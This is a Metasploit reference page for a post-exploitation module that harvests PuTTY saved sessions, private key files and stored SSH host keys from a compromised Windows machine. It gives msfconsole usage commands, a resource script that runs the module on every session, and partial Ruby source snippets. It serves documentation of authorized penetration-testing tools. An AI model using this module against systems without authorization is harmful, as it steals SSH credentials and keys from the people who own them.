PuTTY Saved Sessions Enumeration Module - Metasploit
This page contains detailed information about how to use the post/windows/gather/enum_putty_saved_sessions metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: PuTTY Saved Sessions Enumeration Module
Module: post/windows/gather/enum_putty_saved_sessions
Source code: modules/post/windows/gather/enum_putty_saved_sessions.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module will identify whether Pageant (PuTTY Agent) is running and obtain saved session information from the registry. PuTTY is very configurable; some users may have configured saved sessions which could include a username, private key file to use when authenticating, host name etc. If a private key is configured, an attempt will be made to download and store it in loot. It will also record the SSH host keys which have been stored. These will be connections that the user has previously after accepting the host SSH fingerprint and therefore are of particular interest if they are within scope of a penetration test.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/windows/gather/enum_putty_saved_sessions
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/windows/gather/enum_putty_saved_sessions
msf post(enum_putty_saved_sessions) > show options
... show and set options ...
msf post(enum_putty_saved_sessions) > set SESSION session-id
msf post(enum_putty_saved_sessions) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/windows/gather/enum_putty_saved_sessions")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Go back to menu.
Msfconsole Usage
Here is how the windows/gather/enum_putty_saved_sessions post exploitation module looks in the msfconsole:
msf6 > use post/windows/gather/enum_putty_saved_sessions
msf6 post(windows/gather/enum_putty_saved_sessions) > show info
Name: PuTTY Saved Sessions Enumeration Module
Module: post/windows/gather/enum_putty_saved_sessions
Platform: Windows
Arch:
Rank: Normal
Provided by:
Stuart Morgan <[email protected]>
Compatible session types:
Meterpreter
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Description:
This module will identify whether Pageant (PuTTY Agent) is running
and obtain saved session information from the registry. PuTTY is
very configurable; some users may have configured saved sessions
which could include a username, private key file to use when
authenticating, host name etc. If a private key is configured, an
attempt will be made to download and store it in loot. It will also
record the SSH host keys which have been stored. These will be
connections that the user has previously after accepting the host
SSH fingerprint and therefore are of particular interest if they are
within scope of a penetration test.
Module Options
This is a complete list of options available in the windows/gather/enum_putty_saved_sessions post exploitation module:
msf6 post(windows/gather/enum_putty_saved_sessions) > show options
Module options (post/windows/gather/enum_putty_saved_sessions):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the windows/gather/enum_putty_saved_sessions post exploitation module:
msf6 post(windows/gather/enum_putty_saved_sessions) > show advanced
Module advanced options (post/windows/gather/enum_putty_saved_sessions):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the windows/gather/enum_putty_saved_sessions module can do:
msf6 post(windows/gather/enum_putty_saved_sessions) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the windows/gather/enum_putty_saved_sessions post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(windows/gather/enum_putty_saved_sessions) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Unable to read PuTTY private key file for '<NAME>' (<FILENAME>)
Here is a relevant code snippet related to the "Unable to read PuTTY private key file for '<NAME>' (<FILENAME>)" error message:
204: private_key['Comment'] = rx[:comment]
205: end
206: end
207: private_key_summary << private_key
208: else
209: print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc
210: end
211: else
212: print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be read.")
213: end
214: end
PuTTY private key file for '<NAME>' (<FILENAME>) could not be read.
Here is a relevant code snippet related to the "PuTTY private key file for '<NAME>' (<FILENAME>) could not be read." error message:
207: private_key_summary << private_key
208: else
209: print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc
210: end
211: else
212: print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be read.")
213: end
214: end
215: private_key_summary
216: end
217:
No saved sessions found
Here is a relevant code snippet related to the "No saved sessions found" error message:
219: def run
220: # Look for saved sessions, break out if not.
221: print_status("Looking for saved PuTTY sessions")
222: saved_sessions = registry_enumkeys("#{PAGEANT_REGISTRY_KEY}\\Sessions")
223: if saved_sessions.nil? || saved_sessions.empty?
224: print_error('No saved sessions found')
225: else
226:
227: # Tell the user how many sessions have been found (with correct English)
228: print_status("Found #{saved_sessions.count} session#{saved_sessions.count > 1 ? 's' : ''}")
229:
No stored SSH host keys found
Here is a relevant code snippet related to the "No stored SSH host keys found" error message:
245: # Now search for SSH stored keys. These could be useful because it shows hosts that the user
246: # has previously connected to and accepted a key from.
247: print_status("Looking for previously stored SSH host key fingerprints")
248: stored_ssh_host_keys = registry_enumvals("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys")
249: if stored_ssh_host_keys.nil? || stored_ssh_host_keys.empty?
250: print_error('No stored SSH host keys found')
251: else
252: # Tell the user how many sessions have been found (with correct English)
253: print_status("Found #{stored_ssh_host_keys.count} stored key fingerprint#{stored_ssh_host_keys.count > 1 ? 's' : ''}")
254:
255: # Retrieve the saved session details & print them to the screen in a report
No stored key fingerprints found
Here is a relevant code snippet related to the "No stored key fingerprints found" error message:
254:
255: # Retrieve the saved session details & print them to the screen in a report
256: print_status("Downloading stored key fingerprints...")
257: all_stored_keys = get_stored_host_key_details(stored_ssh_host_keys)
258: if all_stored_keys.nil? || all_stored_keys.empty?
259: print_error("No stored key fingerprints found")
260: else
261: display_stored_host_keys_report(all_stored_keys)
262: end
263: end
264:
Pageant is not running
Here is a relevant code snippet related to the "Pageant is not running" error message:
265: print_line # Just for readability
266:
267: print_status("Looking for Pageant...")
268: hwnd = client.railgun.user32.FindWindowW("Pageant", "Pageant")
269: if hwnd['return']
270: print_good("Pageant is running (Handle 0x#{sprintf('%x', hwnd['return'])})")
271: else
272: print_error("Pageant is not running")
273: end
274: end
275: end
Go back to menu.
Related Pull Requests
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14311 Merged Pull Request: Add support for gathering ProxyUsername and ProxyPassword to enum_putty_saved_sessions.rb
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7200 Merged Pull Request: Rex::Ui::Text cleanup
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5359 Merged Pull Request: PuTTY Saved Sessions Enumeration Module
Go back to menu.
See Also
Check also the following modules related to this module:
- post/windows/gather/enum_ad_bitlocker
- post/windows/gather/enum_ad_computers
- post/windows/gather/enum_ad_groups
- post/windows/gather/enum_ad_managedby_groups
- post/windows/gather/enum_ad_service_principal_names
- post/windows/gather/enum_ad_to_wordlist
- post/windows/gather/enum_ad_user_comments
- post/windows/gather/enum_ad_users
- post/windows/gather/enum_applications
- post/windows/gather/enum_artifacts
- post/windows/gather/enum_av
- post/windows/gather/enum_av_excluded
- post/windows/gather/enum_chocolatey_applications
- post/windows/gather/enum_chrome
- post/windows/gather/enum_computers
- post/windows/gather/enum_db
- post/windows/gather/enum_devices
- post/windows/gather/enum_dirperms
- post/windows/gather/enum_domain
- post/windows/gather/enum_domain_group_users
- post/windows/gather/enum_domains
- post/windows/gather/enum_domain_tokens
- post/windows/gather/enum_domain_users
- post/windows/gather/enum_emet
- post/windows/gather/enum_files
- post/windows/gather/enum_hostfile
- post/windows/gather/enum_hyperv_vms
- post/windows/gather/enum_ie
- post/windows/gather/enum_logged_on_users
- post/windows/gather/enum_ms_product_keys
- post/windows/gather/enum_muicache
- post/windows/gather/enum_onedrive
- post/windows/gather/enum_patches
- post/windows/gather/enum_powershell_env
- post/windows/gather/enum_prefetch
- post/windows/gather/enum_proxy
- post/windows/gather/enum_services
- post/windows/gather/enum_shares
- post/windows/gather/enum_snmp
- post/windows/gather/enum_termserv
- post/windows/gather/enum_tokens
- post/windows/gather/enum_tomcat
- post/windows/gather/enum_trusted_locations
- post/windows/gather/enum_unattend
- nop/tty/generic
- payload/tty/unix/interact
Authors
- Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>
Version
This page has been produced using Metasploit Framework version 6.1.41-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.